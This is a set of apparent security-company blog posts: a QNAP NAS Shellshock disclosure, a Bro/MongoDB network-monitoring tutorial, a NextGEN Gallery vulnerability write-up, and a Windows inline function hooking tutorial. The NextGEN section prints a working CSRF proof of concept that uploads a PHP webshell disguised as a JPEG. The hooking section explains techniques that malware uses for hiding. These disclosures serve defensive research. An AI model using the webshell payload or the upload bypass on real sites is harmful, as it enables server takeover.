QNAP NAS – Remote Unauthenticated User To Admin Shell: Part 1


A number of security vulnerabilities have been identified in two applications hosted on the QNAP App Centre. When combined, it is possible for a remote unauthenticated user to gain interactive remote administrative access and take full control of the device.


As a security professional you are constantly sharpening your skills; investigating a new tool, taking a device apart (at both the software and hardware level), or writing a script to hunt for a particular class of vulnerability. After all, everyone wants a secure network. It is all part of the same constantly evolving game. You can imagine my surprise when I ran my latest Python script at home and got a hit. Surely this couldn’t be right. I had only finished the first iteration that morning and it certainly wasn’t yet ready for prime-time. After much head scratching, debugging, and finally the running of other scanners, I had my answer. My QNAP network attached storage (NAS) device; the system holding all my important data, family photos, holiday movies, and financial details was suffering from a National Vulnerability Database (NVD) rated 10.0 exploit.

Vulnerability 1 – Remote Code Execution in Logitech Media Server 7.7.2

The Logitech Media Server App is a streaming audio server for the Squeezebox range of digital audio receivers. The version hosted on the QNAP App centre comes bundled with an additional third party application, called Squeezebox Server on TurboStation (SSOTS). SSOTS aims to augment the host environment, in such a way as to allow the Logitech software to run. It has a web based administrative interface on port 9099. As illustrated in Figure 1 this suffers from Shellshock.

Figure 1 - Bash command via Shellshock

Figure 1 – Bash command via Shellshock

Shellshock is arguably the biggest security revelation of 2014. It can not only allow an attacker to gain remote code execution, but once identified, it is easy to exploit. When a Bash process creates a child Bash process, the parent’s function definitions are exported via environment variables. These begin with “()”, followed by the actual function definition. The child process identifies these environment variables, converts them back to functions, and executes them. Unfortunately, on vulnerable systems this process is flawed and it grants an attacker the opportunity to define what code is included in an exported function and thus what is executed. If the parent process is network facing this can result in remote code execution.

In this case, the root cause of the exploit is the version of Bash bundled with SSOTS (see Figure 2). Even though QNAP remediated Shellshock late last year, because this application maintains its own outdated version of Bash, the vulnerability remains unpatched.

Figure 2 - Bundled version of Bash

Figure 2 – Bundled version of Bash

Vulnerability 2 – Web Server Configuration for Logitech Media Server 7.7.2

SSOTS also deploys its own web server, thttpd. It can be configured to run within a chroot. A chroot changes the apparent root directory for a running process. This means that the available files and commands are restricted to those below this point.  It is as if the rest of the file system does not exist.  Although not without limitations, in this case if correctly implemented, it would have provided additional protection. Unfortunately (see Figure 3) it has not been implemented and an attacker has access to the entire file system.

Figure 3 - Chroot not Implemented

Figure 3 – Chroot not Implemented

Now for some good news

SSOTS runs under the ssods account, which has limited privileged access. This restricts what an attacker can do. For example, we cannot read the most sensitive system files (see Figure 4).

Figure 4 - Insufficient privileges to read

Figure 4 – Insufficient privileges to read /etc/shadow



Logitech Media Server (7.7.2) hosted on the QNAP App Center suffers from multiple serious security issues. The twenty-seven thousand QNAP customers who have downloaded it should uninstall it immediately. Further, the wider community of SSOTS/SSODS users should check their systems for these vulnerabilities. In part two we will continue the journey and see how to elevate privileges. Once again the answer resides in the QNAP App Centre.

The release of this information has followed the responsible disclosure model. All research has been forwarded to QNAP and the date of disclosure mutually agreed. CERT has been informed and is tracking this issue.


  • Logitech Media Center Shellshock vulnerability discovery on 08/02/2015
  • QNAP informed via website on 11/02/2015
  • SSOTS/SSODS author contacted 12/02/2015. No response to date
  • Reported to cert.org on 12/02/2015
  • Confirmed against latest firmware and ARM plus x86 devices on 16/02/2015
  • Local privilege elevation discovery on 22/02/2015
  • QNAP contacted via facebook.com on 05/03/2015
  • Proof of concept completed on 06/03/2015
  • Contacted by QNAP Security. Research forwarded and disclosure date agreed on 07/03/2015
  • Vulnerability disclosed on 06/04/2015




To contact Nettitude editor, please email media@nettitude.com.

Network Security Monitoring With Bro IDS, TCPDump And MongoDB

Bro IDS is a powerful open source network security monitoring framework which I have had the opportunity to experiment with on a network monitoring server. It can log metadata for well known protocols such as HTTP, DNS and SMTP, as well as extract files it sees being transferred in these protocols. It logs all its results to CSV files and provides a useful tool called ‘bro-cut’ to enable analysts to search through these results. Bro-cut is a great tool but I wanted to store my data in MongoDB to enable useful queries to be run regularly and also so a Graphical User Interface (GUI) could be built on top of it. I also wanted full packet capture to be stored so I could trace any suspicious files or events back to the network activity that created it.

Why MongoDB?

  •  At this stage, I’m not sure  what data I want going into the database, so creating database schemas at this point may prove to be wasted effort, as I may have to modify or delete them in the future.
  • I have a lot of different inputs for the database which I don’t want to write database schemas for.
  • If I add new inputs to the database, minimum effort should be required.
  • All data stored in one database reduces dependencies and complexity.
  • We can consolidate all the Bro data in one place rather than having different files for each day which we would have to append to each other to use with bro-cut.
  • It should be possible to add more database servers if the need should arise due to MongoDB’s scalability.

Packet Capture
Full packet capture is useful when investigating incidents within the network. TCPdump can sniff packets and write them to disk. Another useful option for TCPdump is the ability to rotate the log file when it reaches a certain size and specify a post capture script to run when this rotation occurs. The below command will rotate the log file when it reaches 256 MB and then call post_capture.py:

tcpdump -i eth1 -s0 -nn -C 256 -w ‘/pcap/nettitude.pcap’ -z
/opt/nettitude/capture/post_capture.py  -Z root

The post capture script basically generates some metadata about the pcap file (path, start and end times, size, duration, number of packets) and then inserts them into MongoDB.

Metadata extraction
Bro logs metadata in CSV files by default but we can set it to log to files in JSON format by moving by:

$BRO_INSTALL/share/bro/policy/tuning/json-logs.bro to

As with the snort logs, we can set up a script to watch the bro log directory and insert any JSON files created into MongoDB. This is easy to do since MongoDB basically stores JSON documents, and can be achieved with various programming languages. My choice is python and I use the pymongo library to import the data:

import json
import pymongo
import sys</pre>
file = sys.argv[1]
colname = sys.argv[2]
client = pymongo.MongoClient(‘localhost’)
db = client[‘nettitude’]
collection = db[colname]
with open(file) as f:
for line in f.readlines():

Once the data is in the database we can perform queries in mongo shell to get useful information. For example, the below query will list the top 20 recognised services observed.

sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
 {$match: {‘service’: { $ne: null }}},
 {$group: {‘_id’: ‘$service’,’sum’: { $sum: 1 }}},
 {$sort: {‘sum’: -1}},
 {$limit: 20}

File Extraction
By default, Bro will only extract executables but you can change this by editing the Bro file extraction script located at $BRO_INSTALL/share/bro/file-extraction/extract.bro (In the below file you can see that I have enabled PDF and EXE extraction)

Figure 1

Figure 1

From here on you can set up another script to analyse these files when they are created.

Tracing the file origin
Say, for example, you may have analysed a suspicious file which Bro has extracted to HTTP-FEUq8i13A67Tp9VYw3.exe, we can use mongo shell to retrieve all the metadata and packet capture that relates to this file since its protocol and unique file ID (highlighted in red) are saved in the file name.

sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
connecting to: nettitude
> db.files.findOne({fuid: ‘FEUq8i13A67Tp9VYw3’})
"_id" : ObjectId("5506d64d9ba3842590777d8e"),
"rx_hosts" : [
"tx_hosts" : [
"fuid" : "FEUq8i13A67Tp9VYw3",
"total_bytes" : 4171576,
"is_orig" : false,
"duration" : 8.225032,
"source" : "HTTP",
"analyzers" : [
"ts" : ISODate("2015-03-16T12:24:14.094Z"),
"filename" : "filename.exe",
"extracted" : "/bro/extracted/HTTP-FEUq8i13A67Tp9VYw3.exe",
"mime_type" : "application/x-dosexec",
"conn_uids" : [
"timedout" : false,
"local_orig" : false,
"missing_bytes" : 0,
"seen_bytes" : 4171576,
"md5" : "824f7ba4e6a1f56e1c70b835af43c301",
"sha1" : "1c7ac412d3bb2bd3ecf24c6f86a80ed3d48732cf",
"depth" : 0,
"overflow_bytes" : 0
> db.http.findOne({uid: "CKyCfA4l20KKnMr7n1"})
"_id" : ObjectId("5506d6449ba3842558e446f3"),
"id_resp_h" : "",
"uid" : "CKyCfA4l20KKnMr7n1",
"status_code" : 200,
"orig_mime_types" : [
"id_resp_p" : 80,
"trans_depth" : 1,
"request_body_len" : 68,
"orig_fuids" : [
"ts" : ISODate("2015-03-16T12:24:13.736Z"),
"resp_mime_types" : [
"method" : "GET",
"id_orig_h" : "",
"tags" : [ ],
"resp_fuids" : [
"response_body_len" : 4171576,
"host" : "www.website.com",
"id_orig_p" : 23056,
"status_msg" : "OK",
"uri" : "/filename.exe",
"user_agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36",
"referrer" : "https://www.nettitude.com/"
> db.conn.findOne({uid: "CKyCfA4l20KKnMr7n1"})
"_id" : ObjectId("5506d6369ba3842512e05e55"),
"resp_bytes" : 4171839 CKyCfA4l20KKnMr7n1,
"uid" : "",
"resp_cc" : "US",
"tunnel_parents" : [ ],
"duration" : 8.786603,
"id_resp_h" : "",
"id_resp_p" : 80,
"sensorname" : "eth1",
"service" : "http",
"proto" : "tcp",
"resp_pkts" : 3058,
"orig_pkts" : 962,
"ts" : ISODate("2015-03-16T12:24:13.566Z"),
"resp_ip_bytes" : 4334191,
"orig_cc" : "GB",
"id_orig_h" : "",
"orig_ip_bytes" : 48307,
"local_orig" : true,
"missed_bytes" : 0,
"orig_bytes" : 723,
"id_orig_p" : 23056,
"conn_state" : "SF",
"history" : "ShADadfF"

With the details from the conn collection, we can ascertain the time frame for this connection which allows us to find the pcap file in which the session is stored. The connection started at 2015-03-16T12:24:13.566Z for a duration of 8.78 seconds. It is probably better to add a second or so either side of the date range.

> db.pcap.findOne({sensor: ‘eth1’, start_ts : {$lte :  ISODate("2015-03-16T12:24:12.000Z")},  end_ts : {$gte :  ISODate("2015-03-16T12:24:21.000Z")}})
"_id" : "/pcap/2015-03-16/20150316123157.eth1.pcap",
"end_ts" : ISODate("2015-03-16T12:31:57Z"),
"start_ts" : ISODate("2015-03-16T12:22:32Z"),
"num_packets" : "311998",
"file_size" : "256000821 bytes",
"duration" : "565 seconds",
"sensor" : "eth1",
"data_size" : "251008829 bytes"

Now we know the pcap file and source/desination IP addresses and ports, we can quickly create a tpcdump command to view the packets.

tcpdump –nn –r /pcap/2015-03-16/20150316123157.eth1.pcap ‘tcp and src host and src port 23056 and dst host and dst port 80’

This framework provides a good starting point for network security monitoring and allows us to create additional analysis tools on top of it, for example, automatic report generation, dashboard style GUIs or advanced querying.


To contact Nettitude’s editor, please contact media@nettitude.com.


CSRF And Unsafe Arbitrary File Upload In NextGEN Gallery Plugin ( For WordPress

1      Introduction

Please note the vulnerability detailed in this blog article was first discovered on Monday 9th March 2015, disclosed and discussed with the company concerned on March 10th and a patch was released on March 12th.

1.1    Versions and CVE

  • Currently tested on NextGEN Gallery >= and WordPress 4.1.1
  • CVE-2015-1784 NextGEN Gallery WordPress: file upload bypass
  • CVE-2015-1785 NextGEN Gallery WordPress: CSRF

1.2    Abstract

The NextGEN Gallery plugin for WordPress is the sixth most popular plugin used to date, with over 12 Million users and 100+ extensions.

There are two vulnerabilities which can allow an attacker to gain full access over the web application. The vulnerabilities lie in how the application validates user uploaded files and lack of security measures preventing unwanted HTTP requests.

An average of 20% (2.4 million) of these installs will allow for lower level users (editors and subscribers etc.) to perform image uploads. Some of the extensions provided for the NextGEN Gallery allow for Public file uploading. Around 100,000 users have this extension according to the WordPress app store.

This means that 12 million are vulnerable to CSRF with a webshell, 2.4 million vulnerable to webshell through unsafe file upload and 100,000 vulnerable to unauthenticated unsafe file upload.

1.3    What is Arbitrary File Upload?

Files that can be uploaded to the server can represent a significant risk. The majority of attacks involve getting code onto the server to be attacked, after that the code only needs to be executed. File uploads help an attacker get code onto the server.

The consequences of an unsafe file upload can lead to complete system takeover, access to databases and defacement. It varies on how the server handles uploads, where the files are stored and what the application does.

1.4    What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery is an attack that causes a user’s web browser to perform an unwanted action on a trusted site where a user is currently authenticated. CSRF attacks abuse state changes instead of theft of data or remote code execution as the attacker has no way to see the response of the request.

A CSRF Attack, for example, can force a user into changing their password, transferring funds and in the case of the vulnerabilities talked about in this article, compromise the entire application.

2      Bypassing the upload validation

NextGEN Gallery by default only allows administrators to upload images to the server, however you can allow lower level users such as editors or subscribers to upload images opening a larger attack vector. If a lower level user was given access to the upload function then this could be used in a privilege escalation type attack to gain web shell on the server. In the example below I will show an unsafe file upload leading to webshell via an editor level account.

Upload section

Figure 1 – Upload Section

In the above figure we can see that the file “simpleshell.jpg” has been loaded into the uploader. The file contains a very basic PHP shell. Renaming the extension from .php to .jpg allows us to bypass the first line of defense in the NextGEN plugin, which is by using client side file validation to ensure the file has a valid image extension such as JPG.

After the file has been loaded we need to intercept the request and edit a few parameters to bypass the server side validation of the file.

Figure 2 - Orginal Request

Figure 2 – Original Request

The server side validation checks for file extension, content-type and performs basic file analysis scanning for image headers. As seen in the figure above the request contains a very basic PHP web shell that is passed as an image.

In our edited request below you can see that to bypass the file extension validation “.php” has been appended to the end of the “simpleshell.jpg” file, thus turning this file back into a valid PHP file. The content-type was already stated as “image/jpeg” so that’s fine. Finally, to work around the file analysis a header from a valid JPEG file has been inserted above the PHP script to trick the application into thinking that this is a valid image file.

Figure 3 - Edited Request

Figure 3 – Edited Request

When the request is submitted we are passed an upload message stating that “1 image Upload complete”.

By default, the file path naming convention for NextGEN gallery is as follows: “/wp-content/gallery/[name of gallery]/[name of file]” This path is publically available and viewable as an unauthenticated user.

Figure 4 - Webshell gained

Figure 4 – Webshell gained


After browsing to the file and passing the “id” command to the “cmd” parameter the output is displayed on the page, confirming the PHP webshell is working. From this point it is possible to call system commands and invoke reverse shells etc.

3      Cross-site request forgery abusing unsafe file upload

Using the techniques previously stated to bypass the file upload validation it is possible to create a CSRF proof of concept (PoC). The NextGEN gallery does not implement a unique token or nonce to protect against CSRF in the file upload page allowing for unwanted HTTP requests to be made to the authenticated application by the user unknowingly via a malicious link or XSS.

The figure below illustrates the PoC file, we can see that the gallery ID that this webshell will be uploaded to is “youhascsrf” and that the file name will be “shell.jpg.php”. The techniques used to bypass the upload validation demonstrated previously were also used in this PoC.

<p>&lt;strong&gt;   &lt;/strong&gt;&lt;script&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;function&lt;/em&gt;&lt;/strong&gt; submitRequest&lt;strong&gt;()&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; xhr &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; XMLHttpRequest&lt;strong&gt;();&lt;/strong&gt;</p>
<p>xhr.open&lt;strong&gt;(&lt;/strong&gt;&quot;POST&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;;action=upload_image&amp;gallery_id=0&amp;gallery_name=youhascsrf&quot;&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept-Language&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;en-US,en;q=0.5&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Content-Type&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;multipart/form-data; boundary=—————————11451489371866854212008584&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.withCredentials &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; body &lt;strong&gt;=&lt;/strong&gt; &quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;name&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;shell.jpgrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.jpg.php&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Type: image/jpegrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;xffxd8xffxe0x00x10JFIFx00x01x02x00x00x01x00x01x00x00xffxfex00x04*x00xffxe2x02x1cICC_PROFILEx00x01x01x00x00x02x0clcmsx02x10x00x00mntrRGB XYZ x07xdcx00x01x00x19x00x03x00)x009acspAPPLx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-</p>
<p>lcmsx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;descx00x00x00xfcx00x00x00^cprtx00x00x01x00x00x00x0bwtptx00x00x01hx00x00x00x14bkptx00x00x01|x00x00x00x14rXYZx00x00x01x90x00x00x00x14gXYZx00x00x01xa4x00x00x00x14bXYZx00x00x01xb8x00x00x00x14rTRCx00x00x01xccx00x00x00@gTRCx00x00x01xccx00x00x00@bTRCx00x00x01xccx00x00x00@descx00x00x00x00x00x00x00x03c2x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00textx00x00x00x00FBx00x00XYZ x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-XYZ x00x00x00x00x00x00x03x16x00x00x033x00x00x02xa4XYZ x00x00x00x00x00x00oxa2x00x008xf5x00x00x03x90XYZ x00x00x00x00x00x00bx99x00x00xb7x85x00x00x18xdaXYZ x00x00x00x00x00x00$xa0x00x00x0fx84x00x00xb6xcfcurvx00x00x00x00x00x00x00x1ax00x00x00xcbx01xc9x03cx05x92x08kx0bxf6x10?x15Qx1b4!xf1)x902x18;x92Fx05Qw]xedkpzx05x89xb1x9a|xacixbf}xd3xc3xe90xffxffxffxdbx00Cx00x04x03x03x04x03x03x04x04x03x04x05x04x04x05x06rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;x3c?phprn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;if(isset($_REQUEST[‘cmd’])){rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   $cmd = ($_REQUEST[&quot;cmd&quot;]);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   system($cmd);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   echo &quot;x3c/prex3e$cmdx3cprex3e&quot;;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   die;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;}rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;?x3ern&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; aBody &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Uint8Array&lt;strong&gt;(&lt;/strong&gt;body.length&lt;strong&gt;);&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;for&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; i &lt;strong&gt;=&lt;/strong&gt; 0&lt;strong&gt;;&lt;/strong&gt; i &lt;strong&gt;&lt;&lt;/strong&gt; aBody.length&lt;strong&gt;;&lt;/strong&gt; i&lt;strong&gt;++)&lt;/strong&gt;</p>
<p>aBody&lt;strong&gt;[&lt;/strong&gt;i&lt;strong&gt;]&lt;/strong&gt; &lt;strong&gt;=&lt;/strong&gt; body.charCodeAt&lt;strong&gt;(&lt;/strong&gt;i&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.send&lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Blob&lt;strong&gt;([&lt;/strong&gt;aBody&lt;strong&gt;]));&lt;/strong&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;form action=&lt;strong&gt;&quot;#&quot;&lt;/strong&gt;&gt;</p>
<p>&lt;strong&gt;     &lt;/strong&gt;&lt;input type=&lt;strong&gt;&quot;button&quot;&lt;/strong&gt; value=&lt;strong&gt;&quot;Submit request&quot;&lt;/strong&gt; onclick=&lt;strong&gt;&quot;submitRequest();&quot;&lt;/strong&gt; /&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;/form&gt;</p>

If this file was hosted externally and an administrator (or any other user with upload rights) clicked the link and submitted this request then the webshell would be uploaded to the file path “/wp-content/gallery/youhascsrf/shell.jpg.php” and then be publically available without the user’s knowledge. In the figure below, we can see that an admin is logged into a WordPress installation with the NextGEN Gallery plugin activated.

Figure 5 - Admin WordPress dash

Figure 5 – Admin WordPress dash


As we can see there are currently no galleries present on this application.

figure 6 - No galleries

Figure 6 – No Galleries


Figure 7 - CSRF PoC loaded in browser

Figure 7- CSRF PoC loaded in browser


As this is just a PoC, the attack will trigger when the “submit request” button is clicked, however, in a real world situation this request would be submitted asynchronously without the users’ knowledge. After clicking the “submit request” button we can now see that the gallery has been created and the webshell is present.

Figure 8 - Webshell now present

Figure 8 – Webshell now present

In the figure below the “Id” command is send to the webshell and we have system access.

Figure 9 - System commands executed

Figure 9 – System commands executed



To contact Nettitude’s editor, please email media@nettitude.com.

Windows Inline Function Hooking

Hooking can be used by legitimate software for reverse engineering, for example, to examine the user mode function calls that a malicious program is making.

It can also be used by a malicious program to hide certain aspects of itself.  For example, malware might try and install a hook into Windows API functions, which list files in Windows such as FindFirstFile and FindNextFile.  When a particular file used by the malware is found by one of these functions, the malware hook code can change how the function works so that it skips over it to the next file, thus hiding the file from Windows Explorer.

How Does A Function Hook Work?

A function hook usually has three parts:

  1. A piece of redirection code overwrites part of the target function which will redirect any calls to it, into a callback function in our code
  2.  The callback is the second part and informs us that the target function was called. This is the main part of the hook; the part that allows us to change the behaviour of the target function or log the information passed into the target function.
  3.  The final part is commonly called a trampoline, since it bounces us back into the target function, as if nothing ever happened. The trampoline is created by the hooking code and holds a copy of part of the hooked function we overwrote initially.  The trampoline also contains some code to redirect execution back into to the hooked function just after the code we overwrote.
Windows Function Hook

Windows Function Hook

Function Hooking

Unfortunately, hooking is quite low level, so we’re going to have to get our hands dirty and do some work at the assembly level.

Hooking a function involves several steps:

  •  Place our hooking code inside the target process: One way of doing this is to inject our code as a DLL.  More information on DLL injection can be found in my previous blog posts on DLL injection
  •  Find the address of the function that we want to hook: If it’s a windows API function or a function exported by a DLL that is loaded in the target process, then we can use GetProcAddress
  •  Construct a trampoline, copy and then overwrite the instructions at the start of the target function with a jump to the hook callback

In 32bit applications, we can use a relative jump near instruction “JMP”  which can be used to jump or move the current instruction pointer (EIP) backwards or forwards in memory by up to 2GB.

If, for example, our target callback is 70000 bytes in front of the function (0x11170 in hex) the instruction would be:

JMP 0x1116B

The actual byte level representation of this in memory would be as follows:

0xE9 0x6B 0x11 0x01 0x00

The jump instruction in this format requires five bytes.  Note that we have also taken into account these 5 bytes used in the JMP instruction making the jump offset actually five bytes less than 70000, which is 0x1116B in hex.  The address specified in the JMP call is always relative to the end of the JMP instruction.

So to install our hook, we need to overwrite five bytes of the start of the target function with a JMP.  Except it’s not quite that simple…

Intel instructions are variable length, so we also need to make sure that we first copy any whole instructions that may be overwritten in the target function.  This involves disassembling the instructions of the target function until we have disassembled enough code to contain our 5 bytes.

For example, here is the disassembly of the prologue of the Windows API function RegSetValueExW:

push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


The code bytes are on the right hand side.  It can be seen that if we overwrote 5 bytes we would overwrite into the middle of the second push instruction.  Disassembling this shows us that we need to copy 7 bytes into the trampoline to capture whole instructions and then pad out the JMP instruction we insert with two NOP instructions, which are 1 byte each.   The hooked RegSetValueExW would look like this after it was hooked.

jmp         1234567h        E9 67 45 23 01
nop                         90
nop                         90


To do this we could write our own disassembler, or use something like BeaEngine or Udis86 both open source disassembler implementations.

Now we’ve hooked the function and copied the original code into our trampoline, we need to set the trampoline to jump back into to the target function just after our inserted JMP instruction.

push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75
jmp         <address of instruction after JMP>


If we don’t want to use a JMP for this and calculate a relative offset, we can potentially push a value onto the stack and use RET to return directly to that address.

Hot Patching

Some components of Windows, for example, Kernel32.dll have been built by Microsoft with hot patching enabled .  What this means is that some space has been left for inserting a jmp instruction in order to patch the code at runtime to jump to an updated version of the function.  In some cases it may be possible to use this hot patch area to contain our hook.

For example, here is the disassembly of GetProcAddress in Kernel32.dll and some of the surrounding code:

nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
mov         edi,edi    8B FF
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D


Notice that the first instruction is MOV EDI, EDI which is essentially a NOP.  Also notice that the five code bytes before the function are all NOP instructions.

We can hook this by first changing the MOV EDI, EDI instruction to a short relative JMP which takes only two bytes and jump backwards to the start of the NOP instructions, which is 5 bytes away.  Taking into account the instruction length of the JMP it will be 7 bytes, so -7 bytes which is 0xFB in hex:

nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
jmp         fbh        EB FB
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D


Now we can just replace the five NOP instructions with a near JMP relative as before.

It would be quite simple to check for this pattern when hooking functions and take advantage of this hot patch area if it exists.

64Bit Function Hooking

On x64 platforms, the same hooking technique can be used.  It only works however if the callback function and trampoline are within 2GB distance of the hooked function as the jump instruction can only take a jump offset operand that uses 32 bits.

Using the VirtualQuery API call free memory blocks can be located within 2GB of the target function and then a redirection stub can be placed here which uses a longer format jump to reach the user function.

UINT_PTR currentAddress = (UINT_PTR )pTargetFunctionAddress + TWO_GB;
PVOID pTrampoline = NULL;

if (VirtualQuery((LPVOID)currentAddress, &memInfo, trampolineSize))
if (memInfo.State == MEM_FREE)
pTrampoline = VirtualAlloc((LPVOID)currentAddress,

currentAddress -= PAGE_SIZE;

} while (pTrampoline == NULL &&
(UINT_PTR)pTargetFunctionAddress < currentAddress);

For the trampoline and redirection stub, we would need a non-relative jump so that the user function which calls the trampoline can reside anywhere in the addressable range.  One possible option for constructing a longer jump is to push a 64bit address onto the stack and use a RET instruction to return to the target address.

We can push a 64 bit address directly by making use of a register, we first save the register on the stack and then put our return address into it.  Then we can exchange the register and the stack location to restore the previous register state before returning:

push rax                                50
movabs rax,0xAAAAAAAAAAAAAAAA           48 b8 AA AA AA AA AA AA AA AA
xchg QWORD PTR [rsp],rax                48 87 04 24

Another possibility, detailed by Nikolay Igotti pushes a 32 bit immediate value onto the stack the lower part of the address, this type of push instruction actually reserves 64 bits on the stack in order to preserve alignment.  Then remaining 32bits of the address can be moved into the additional stack space reserved by the push instruction.   Finally RET is called which will pop the value from the stack and jump to the address:

push 0xAAAAAAAAA                        68 AA AA AA AA
mov DWORD PTR [rsp+0x4],0xBBBBBBBB      c7 44 24 04 BB BB BB BB

The advantage with Nikolay’s method is that it uses only 14 bytes and can be reduced further if we know the target address is in a 4GB range since the top half of the address wouldn’t need to be written in that case.

This longer jump could be used to jump to the user function, however it is easier to try and first allocate some memory for a redirector stub within 2Gb of the target function as the target function may contain a relative jump instruction in the bytes that are copied to the trampoline.  This would then need to be “fixed up” to jump to the correct location which could be problematic.


 Int 3 Hooking Method

Another method which could be used for hooking, is to place an “int 3” break instruction into the code instead of a jmp instruction.   This will cause an exception to be raised when the int 3 instruction is executed.

If we install a vectored exception handler using the windows API call AddVectoredExceptionHandler we can trap the exception before any other exception handler, and move execution to a user callback function:

PVOID WINAPI AddVectoredExceptionHandler(
_In_  ULONG FirstHandler,

This method has the benefit of only requiring only a single byte to be replaced in the target as int 3 is a single byte instruction.  For example, hooking RegSetValueExW as in the previous examples:

push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


The downside to this method is that the target program, or debugger could add its own vectored exception handler, which may be called before ours and may not pass the exception to our own handler.   The result could be a program crash.

int 3                       CC
nop                         90
push        75835CC0h       68 C0 5C 83 75


Other Considerations

  •  As briefly mentioned earlier, if the function prologue code contains a relative JMP instruction that we will overwrite, simply copying this to the trampoline function will not work since the copied JMP will then be jumping relative to the trampoline and not the original function. In this case it may be necessary to re-calculate the jump offset in the copied function prologue if possible
  • Some functions may consist of less than five bytes of executable code, for example the following code, while not particularly useful is still a valid function:

nop                                     90
ret                                     c3

Int3 hooking could be used to hook this, or if hot patching is enabled that area could be used.  It’s also possible to use IAT hooking, which will be discussed in an additional blog post.

  • A target function may have already been hooked – we could check for this by examining the code that resides on disc and comparing it to the function in memory. If a difference is found, the original hook could first be removed by copying the code from disc then our new hook can be added.  Although removing someone else’s hook may cause errors if they attempts to remove it at a later date after we have already overwritten it.  Also bear in mind that if you’re dealing with a malicious program, it may be returning the incorrect data from disc in order to hide its hook
  • Threads may be running in the target process that are calling functions as you’re patching them, so it would be wise to suspend all other threads in a process before implanting the hook and resume them afterwards
